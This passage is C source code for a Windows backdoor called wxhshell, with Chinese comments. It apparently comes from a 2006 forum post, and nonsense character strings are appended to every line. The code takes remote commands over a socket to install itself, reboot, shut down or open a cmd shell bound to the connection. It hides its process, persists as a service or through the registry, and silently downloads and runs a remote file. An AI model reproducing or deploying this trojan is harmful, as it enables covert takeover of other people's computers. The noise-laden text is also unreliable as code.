      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dZ81\jdYv  
    break; hI#M {cz  
  } 5^qp&  
  // 安装 ^ cd5Zl  
  case 'i': { \\pyu]z  
    if(Install()) (Y@|h%1W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f(ec/0W  
    else F$.s6Hh.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ENF@6]  
    break; 6!L*q  
    } @T=HcUP)  
  // 卸载 rQ-z2Pw  
  case 'r': { k |aOUW  
    if(Uninstall()) Vy"^]5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,OFr]74\  
    else Vy*Z"k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !suiqP1\*  
    break; s 17gi,"X  
    } K`Zb;R X  
  // 显示 wxhshell 所在路径 YVV $g-D}  
  case 'p': { NGD2z.  
    char svExeFile[MAX_PATH]; 5oyMR_yl  
    strcpy(svExeFile,"\n\r"); hp%Pg &  
      strcat(svExeFile,ExeFile); lcJumV=%>  
        send(wsh,svExeFile,strlen(svExeFile),0); +OP:"Q_#  
    break; ,]N%(>ot  
    } >knR>96  
  // 重启 rnr8t]  
  case 'b': { T k=3"y+u[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FQ ^^6Rl  
    if(Boot(REBOOT)) _BA_lkN+D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iSW73P;)  
    else { |*| a~t  
    closesocket(wsh); ':>*=&  
    ExitThread(0); J]YN2{(x  
    } PSw+E';  
    break; <Q~7a hF  
    } xa^HU~  
  // 关机 q`K-T _<  
  case 'd': { ?{Z0g+B1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I%WK*AORM  
    if(Boot(SHUTDOWN)) l\y*wr`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H ?:#Ui(p  
    else { 8WQ%rN={8  
    closesocket(wsh); SJr:  
    ExitThread(0); 90v18k  
    } O lIH0  
    break; cf3c+.o  
    } ;|%JvptwW%  
  // 获取shell (:muxby%  
  case 's': { tB?S0;yXjd  
    CmdShell(wsh); FDC{8e  
    closesocket(wsh); 0'oT {iN  
    ExitThread(0); K:Go%3~,  
    break; *F&&rsb  
  } +Y[+2=lO  
  // 退出 0'}?3/u-  
  case 'x': { E%:zE Q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); p&M'DMj+  
    CloseIt(wsh); #al^Uqd  
    break; #9"_|d=l  
    } nx]b\A  
  // 离开 *<j@+Ch  
  case 'q': { N!~NQ-Re'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); aRP+?}b">  
    closesocket(wsh); hjT1SW\I  
    WSACleanup(); 9m9=O&C~-<  
    exit(1); *[YN|  
    break; 1"6k5wrIA  
        } 8H b|'Q|^  
  } '$^ F.2  
  } J>PV{N  
Mdh"G @$n  
  // 提示信息 L` "UeNT  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B.WkHY%/  
} j( :A  
  } iR OM?/$  
dEL"(e#0s4  
  return; $8}'6,  
} MF(~!SOIG  
/)|y+<E]}  
// shell模块句柄 ,]"u!,yHb  
int CmdShell(SOCKET sock) 8;NO>L/J]i  
{ P9^h>sV  
STARTUPINFO si; ![tI(TPq  
ZeroMemory(&si,sizeof(si)); v[ '5X  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JwczE9~o  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?@(H. D6'v  
PROCESS_INFORMATION ProcessInfo; uK5Px!  
char cmdline[]="cmd"; hj1 jY  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :W.(,65c  
  return 0; :wAB"TCt0  
} 1w^[Eno$$  
 (RS:_]  
// 自身启动模式 ge8zh/`  
int StartFromService(void) s30_lddD  
{ Q.AM  
typedef struct !m2k0|9  
{ q Q8l8  
  DWORD ExitStatus; Q[KR,k  
  DWORD PebBaseAddress; Shd,{Z)-Tg  
  DWORD AffinityMask; }YO}LQ-|  
  DWORD BasePriority; w}b+vh^3Wy  
  ULONG UniqueProcessId; PEl]HI_H  
  ULONG InheritedFromUniqueProcessId; M(jH"u&f  
}   PROCESS_BASIC_INFORMATION; _F E F+I  
uSjMqfK  
PROCNTQSIP NtQueryInformationProcess; X_F=;XF/  
e{:qW'%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S8,06/#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ISmnZ@  
<,C})H?  
  HANDLE             hProcess; (?[cDw/{J:  
  PROCESS_BASIC_INFORMATION pbi; '3->G/Pu  
N~d]}J8}gx  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P|U>(9;P,  
  if(NULL == hInst ) return 0; U?{j  
O=/Tx2i;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )Cl&"bX  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Vba}RF[b  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); rl=_ "sd=  
@~ L.m}GF  
  if (!NtQueryInformationProcess) return 0; Y."[k&P-  
ja2]VbB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); dr o42#$Mo  
  if(!hProcess) return 0; opC11c/  
|M_Bbo@ud  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 48`<{|r{  
1<"kN^  
  CloseHandle(hProcess); f7s.\  
Dn?L   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); jGCW^#GE  
if(hProcess==NULL) return 0; cD6o8v4] ]  
=3p h:t  
HMODULE hMod; bJD"&h5  
char procName[255]; HvTQycG  
unsigned long cbNeeded; d6VKUAk'7>  
|T%/d#b~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4J1Q])G9  
fZO /HzX  
  CloseHandle(hProcess); L8 J/GVmj  
}2@$2YR[  
if(strstr(procName,"services")) return 1; // 以服务启动 :O%O``xT  
8Bvjj|~ (@  
  return 0; // 注册表启动 ngjbE+  
} RFdN13sJ v  
M ~IiJ9{  
// 主模块 .y!Hw{cq  
int StartWxhshell(LPSTR lpCmdLine) Jd;1dYkH:  
{ );[`rXH_  
  SOCKET wsl; 0&x)5^lG  
BOOL val=TRUE; TxWj gW~  
  int port=0; ;`+,gVrp  
  struct sockaddr_in door; 'Bx7b(xqk  
{TNAK%'v  
  if(wscfg.ws_autoins) Install(); "=;&{N~8U  
A UK7a  
port=atoi(lpCmdLine); Mi/_hzZ\  
)C@,mgh  
if(port<=0) port=wscfg.ws_port; Nvi14,q/  
4 C:YEX~  
  WSADATA data; Q8n?7JB  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^9nM)[/C?  
2,\u Y}4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &g`a [#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pqK3u)  
  door.sin_family = AF_INET; u$"5SGI6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); s"/8h#!zv  
  door.sin_port = htons(port); eD3F%wxz  
A@] n"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f2=s{0SX0  
closesocket(wsl); M: 6 cma5  
return 1; L!Ro`6|7;  
} D-.>Dw:  
O\w%E@9Fh  
  if(listen(wsl,2) == INVALID_SOCKET) { (LjY<dQO  
closesocket(wsl); u+'=EGl  
return 1; [F%\1xh  
} %YXC-E3@O  
  Wxhshell(wsl); w~9gZ&hdp  
  WSACleanup(); Z%Gvf~u  
OW>U 5 \q  
return 0; TwN8|ibVmP  
-h_v(s2  
} #E1*1E  
sw1XN?O  
// 以NT服务方式启动 K^S#?T|[9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'a}{s>{O  
{ BSz\9 eT  
DWORD   status = 0; |z~?"F6 Y<  
  DWORD   specificError = 0xfffffff; DF~w20+  
r0sd_@Oj  
  serviceStatus.dwServiceType     = SERVICE_WIN32; G\ofg  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ZBGI_9wZ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z Uh<2F  
  serviceStatus.dwWin32ExitCode     = 0; e:l 6;  
  serviceStatus.dwServiceSpecificExitCode = 0; ObCwWj^qO  
  serviceStatus.dwCheckPoint       = 0; nxt1Y04,H  
  serviceStatus.dwWaitHint       = 0; +G~b-}  
qH ~usgqB7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bchhokH   
  if (hServiceStatusHandle==0) return; C{) )T5G  
=mZw71,  
status = GetLastError(); /vMpSN|3  
  if (status!=NO_ERROR) b?$3jOtW  
{ 0KZ 3h|4lP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _,}Ye,(^=  
    serviceStatus.dwCheckPoint       = 0; _i 8oWy1  
    serviceStatus.dwWaitHint       = 0; \rJk[Kec  
    serviceStatus.dwWin32ExitCode     = status; ZjcJYtD  
    serviceStatus.dwServiceSpecificExitCode = specificError; S("bN{7nE  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); & mWq'h  
    return; YS]RG/'  
  } DlP}Fp{  
4-m%[D |W  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *<@  
  serviceStatus.dwCheckPoint       = 0; `/U:u9H9v  
  serviceStatus.dwWaitHint       = 0; Gc'H F"w  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !cpBX>{w  
} >|s=l`"Xz  
j@DyWm/7  
// 处理NT服务事件,比如:启动、停止 @sDd:> t  
VOID WINAPI NTServiceHandler(DWORD fdwControl) jK{MU) D+  
{ !xvPG  
switch(fdwControl) =k_u5@.Z  
{ wFvilF V  
case SERVICE_CONTROL_STOP: zumRbrz  
  serviceStatus.dwWin32ExitCode = 0; 2Zm*f2$xM  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +)|2$$m  
  serviceStatus.dwCheckPoint   = 0; _)|!.r&)63  
  serviceStatus.dwWaitHint     = 0; TKE)NIa  
  { HCu1vjU(]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uODsXi{z  
  } =nsY[ s<  
  return; V>nY?  
case SERVICE_CONTROL_PAUSE: 8P*n|]B.'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; YMWy5 \  
  break; l YhwV\3  
case SERVICE_CONTROL_CONTINUE: t5_`q(:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; f`cz @  
  break; |\ ay^@N  
case SERVICE_CONTROL_INTERROGATE: }Yj S v^  
  break; ijTtyTC  
}; 'Go'87+`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r*g _  
}  }QI*Ns  
yG_#>3sD+%  
// 标准应用程序主函数 &K4o8Qz  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  w&-r  
{ QdRMp n}q  
+vuW 9  
// 获取操作系统版本 s?2;u p*D  
OsIsNt=GetOsVer(); Txxc-$z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); F 6Ol5  
X bg7mj9c  
  // 从命令行安装 ZLV~It&)  
  if(strpbrk(lpCmdLine,"iI")) Install(); 81g&WQ'  
<omz9d1  
  // 下载执行文件 X6;aF ;"5  
if(wscfg.ws_downexe) { r[lHYO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =SdWU}xn2  
  WinExec(wscfg.ws_filenam,SW_HIDE); LgaJp_d>9*  
} r=k}EP&<  
#B?7{#.1  
if(!OsIsNt) { (tz! "K  
// 如果时win9x,隐藏进程并且设置为注册表启动 4[#.N 3Y4*  
HideProc(); yTEuf@  
StartWxhshell(lpCmdLine); SX4p(t  
} nMnc&8r  
else )CB?gW  
  if(StartFromService()) lojn8uL  
  // 以服务方式启动 f8j^a?d|  
  StartServiceCtrlDispatcher(DispatchTable); DXiD>1(q  
else &A9+%kOk>  
  // 普通方式启动 ff0B*0  
  StartWxhshell(lpCmdLine); 07#!b~N  
{L0w& ~$Fy  
return 0; ~% c->\Q  
}
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只看该作者 1 发表于: 2006-10-10
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